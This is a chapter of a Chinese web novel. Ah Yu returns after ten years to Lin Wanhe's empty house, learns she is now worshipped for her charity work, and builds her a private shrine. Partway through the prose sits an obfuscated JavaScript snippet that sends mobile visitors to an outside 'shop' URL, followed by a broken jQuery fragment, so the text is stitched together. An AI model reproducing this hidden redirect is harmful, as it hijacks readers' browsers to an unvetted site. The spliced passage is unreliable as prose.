北境十年,风雪磨骨。
当年那个收下百万资财、默然转身离去的少年阿煜,从此斩断枕边温柔,孤身奔赴满目苍凉的北境故土。
他带走的从来不是钱财富贵,是一门几乎断绝的将门血脉,是满门含冤而死的血海深仇,是压在他稚嫩肩头、整整十年的沉重心愿。
十年光阴,寒来暑往。
昔日温顺承欢、眉眼清澈的少年,在北境的风沙与权谋里彻底蜕变。他收敛所有柔情、碾碎所有儿女情长,以一介孤子之身,收拢旧部、寻访遗族、深耕垦土、周旋朝堂、重整门楣。
他凭着将门骨子里的坚韧、隐忍与智谋,步步为营、步步深耕,熬过绝境孤苦,闯过朝堂博弈,硬生生在早已倾覆的家族废墟之上,重新立起门第、重振家风。
历时整整十年,他搜集全族冤罪证据,层层递奏、当庭辩白、力证清白,终得帝王下旨彻底平反北境将门旧案。
百年沉冤,一朝雪尽。
倾覆的家族得以归位,枉死的族人得以正名,湮灭的将门荣光,重新在他手中亮起。
如今的他,是北境新贵、将门重振之主,年少卑微奴籍彻底剥离,身姿挺拔矜贵、气度沉稳凛冽,手握一方权柄,立身堂堂正正,再也不是那个只能依附她、匍匐她身侧、做她枕边附庸的无名少年。
功成、冤雪、家立、身安。
十年夙愿一一落地,心底压了十年的执念,再也压制不住。
安顿好族中诸事、安置好府宅族人、稳住北境基业的那一日,阿煜立于城头,南望山河,心底翻涌的思念轰然决堤。
十年克制,十年隐忍,十年不踏江南半步。
终究抵不过——他年少所有情爱、所有温柔、所有人间灯火,尽数留在了府城,留在了那个名叫林晚禾的女子身上。
他想再见她一面。
不求相伴,不求归位,不求名分,不求原谅。
只求远远看一眼,看那个成全他、放过他、困住他一生情爱的人,如今岁月安稳,岁岁无忧。
一身简衣,一身风霜,阿煜孤身一人,策马南下,千里奔赴府城。
可当他踏入这座熟悉的江南小城,扑面而来的一切,早已物是人非。
街巷之间,人人口中传颂的,不再是当年那个肆意风流、收纳俊郎、不拘礼法的奇女子。
满城百姓口中、茶馆说书人口里、老幼妇孺心底,她只有一个名号——林博士,一方济世神明。
人人传唱她青霉素救命万千的功德,感念她杂交水稻岁岁丰粮的恩泽,称颂她开办女学、破除俗规、养活无数寒门女子的壮举,敬仰她兴学堂、安孤寡、济贫苦的仁心。
整座府城,香火缭绕,万民敬奉。
他一路听着满城称颂,心底一点点发沉,一点点清醒。
当年他俯首承欢、温柔伴身、夜夜相拥的俗世情爱,于她而言,不过是年少浮生一隙。
而他的姑娘,早已跳出人间情爱,登顶人间神坛。
阿煜脚步沉沉,一步步走向那座他住了三年、温存了三载、刻满他全部年少心动的旧宅。
朱门未改,铜环生凉,院外青石板路还是当年的纹路,庭前的香樟依旧枝繁叶茂,年年常绿,一如他记忆里分毫未差的模样。
可推开门的一瞬,满院死寂,冷风穿堂而过,卷起满地零落落叶,簌簌轻响。
空。
彻彻底底的空旷冷清。
这一刻,积攒十年的汹涌思念,骤然撞进一座无人空庭,瞬间落空、无处安放。
阿煜立在院心,双脚像是钉死在故土里,一动不动。
如今的他,久经朝堂风浪、坐镇北境一方,早已练就喜怒不形于色的城府,眉眼凛冽沉稳,万事皆可藏心、百毒不侵。
可踏入这座庭院的刹那,所有伪装的坚硬、十年筑起的冰壳,轰然碎裂,露出内里最柔软、最卑微、从未变过的少年心事。
他身形依旧挺拔端正,维持着将门宗主的矜贵站姿,脊背绷得笔直,却微微发僵,是极致隐忍、强行克制的姿态,不敢松,一松便是满盘崩溃。
长睫缓慢垂落,严严实实遮住眼底翻涌的猩红酸涩,遮住那快要溢出来的失态与落寞。
眼尾几不可察地泛红,却死死敛着情绪,没有半分外露,没有一滴湿意,唯有瞳底深处,沉叠着十年风霜、十年相思、十年意难平的荒芜。
他微微仰头,静静望着熟悉的檐角窗棂。
眼底一遍遍回放旧年光景——
是无数个深夜,他温顺伏身、枕她入眠,任由她慵懒黏人、肆意相拥;是廊下晚风,她随口闲谈风月,指尖轻轻摩挲他冷白肌理;是窗前烛火,她教他认字、予他安稳、予他救赎,给了他泥沼人生里唯一的光。
曾几何时,这座宅院烟火温热、灯火不灭、人声缱绻,是他此生唯一的归处。
如今灯火永熄,人去楼空,风月无存。
他薄唇紧抿成一道冷硬克制的直线,下颌线绷得发紧,唇色偏淡,指尖在身侧无声蜷缩、微微发颤。
十年权柄在握、杀伐决断,弹指可定一方风雨的手,此刻连抬步都格外沉重。
他极慢、极轻地挪步,穿过回廊,走入内室卧房。
房间整洁落灰,桌椅床榻原样未动,一如当年模样,只是久无人居,静得可怕。
他停在那张旧榻前。
这是三年里每一个深夜相依、岁岁温存的方寸之地,是他无数次温顺俯首、贴身相伴、任她整夜相拥的枕边。
阿煜俯身,指尖极轻、极缓地抚过枕面。
木质床沿微凉,锦枕蒙着一层薄灰,触感凉寂,荒凉刺骨。
指尖一寸寸描摹枕边相依的位置,脑海里瞬间炸裂般涌回无数私密、滚烫、细腻入骨的旧忆。
无数个江南软夜,烛火昏昏,月色落窗。
他总是乖乖侧躺,脊背微收,温顺贴合在她身侧,将一身冷白柔韧的肌理全然交付予她。她总爱懒懒靠着他,双手随意环住他腰侧,脸颊贴在他肩头,睡意朦胧地黏着他入眠。
那时的他一无所有、卑微如尘,唯一能给的,就是绝对的温顺、绝对的听话、绝对的全心全意。
他不敢动、不敢翻身、不敢惊扰她半分睡意,整夜僵直隐忍,任由她恣意依偎、肆意贪恋。
夜里晚风微寒,他便无声替她拢好被角;她睡得安稳,他便静静睁着眼,看着她的眉眼,悄悄贪念一整夜的温柔月色。
这方枕边,盛过他最卑微的讨好、最赤诚的依恋、最纯粹的年少情爱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896375|209650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他把一生仅有的温柔、顺从、青涩与热烈,全数埋在了这方寸枕榻之间。
十年北境风雪,无数个孤寒无眠的深夜,他无数次梦回此处,梦回她抱着他入眠、暖意融融的模样,这枕边温存,是他支撑熬过绝境的唯一念想。
可此刻指尖触到的,只剩满枕寒凉、满室空寂。
旧温早已散尽,旧人早已远去。
他指尖微微发颤,极轻地收回手,不敢多碰,不敢贪恋,仿佛再多一分触碰,隐忍十年的情绪便会彻底崩塌决堤。
一室旧景历历在目,一世深情只剩空凉。
他站在榻边,无声伫立,心如荒城,满目疮痍,却依旧维持着体面,不叹、不语、不落泪。
良久,他才压下所有翻涌的心绪,敛尽眼底所有破碎落寞,恢复一身冷然沉稳。
他向街坊邻里细细打听,才知这些年,林晚禾早已不困于一城一宅。
自她挣脱所有世俗桎梏后,便带着一众女学学子,常年在外四海旅居、四处济世。
她走遍山河贫瘠之地,在穷乡僻壤建新式学堂,收容寒门孤女;在荒苦州县修建孤儿院,收留流离无依、命如草芥的孤童;在乡野村镇开办养老院,赡养孤寡老人。
她用尽半生余力,庇护天下所有曾经走投无路、身如浮萍、任人宰割的可怜人。
每一个被她救下的孤童,每一个被她成全的女子,每一个被她安度晚年的老人,都是当年泥沼求生、无依无靠的——从前的阿煜。
原来当年她放他走、赠他前程、断他依附,从不是不爱、不是薄情、不是厌弃。
是她从一开始就知道,自己的格局从来不止一人一室、一枕温柔。
她不要困他为私宠,她要渡天下千万苦命人。
她的温柔从不专属,她的慈悲普度众生。
一瞬间,十年隐忍、十年相思、十年孤身北境风雪的执念,尽数轰然落地。
他终于彻底明白。
当年的他,竭尽所有温柔、卑微、顺从,只想守她一人、暖她一夜、伴她余生。
如今的她,心怀苍生、眼含山河、普渡流离、安济万民。
他拼尽全力,终成人间权贵。
她随性而行,早已万古封神。
人间差距,早已云泥天隔。
他没有寻她、没有扰她、没有赴她的四海江湖。
他只是静静走完这座庭院的每一寸角落,把年少最后的温柔念想,轻轻收好、彻底安放。
而后,他转身入城。
在香火鼎盛的博士庙中,亲自请回一尊最精致、最庄严肃穆的林晚禾金身神像。
千里归途,北境风雪漫漫。
他将神像小心翼翼带回自己一手重建的将门府邸,专门辟出一方清净偏殿,独设神坛、自立香火。
从此,北境无官香,无民拜。
只有他一人,日日晨起焚香、夜夜灯下跪拜。
世人拜神求福、求利、求顺遂。
唯有阿煜,岁岁焚香、年年叩拜,不求前程、不求富贵、不求相见、不求余生。
他只拜他年少唯一的风月,拜他此生唯一的神明,拜那个成全他、放过他、渡他、也永远不属于他的林晚禾。
你渡众生,我只渡你。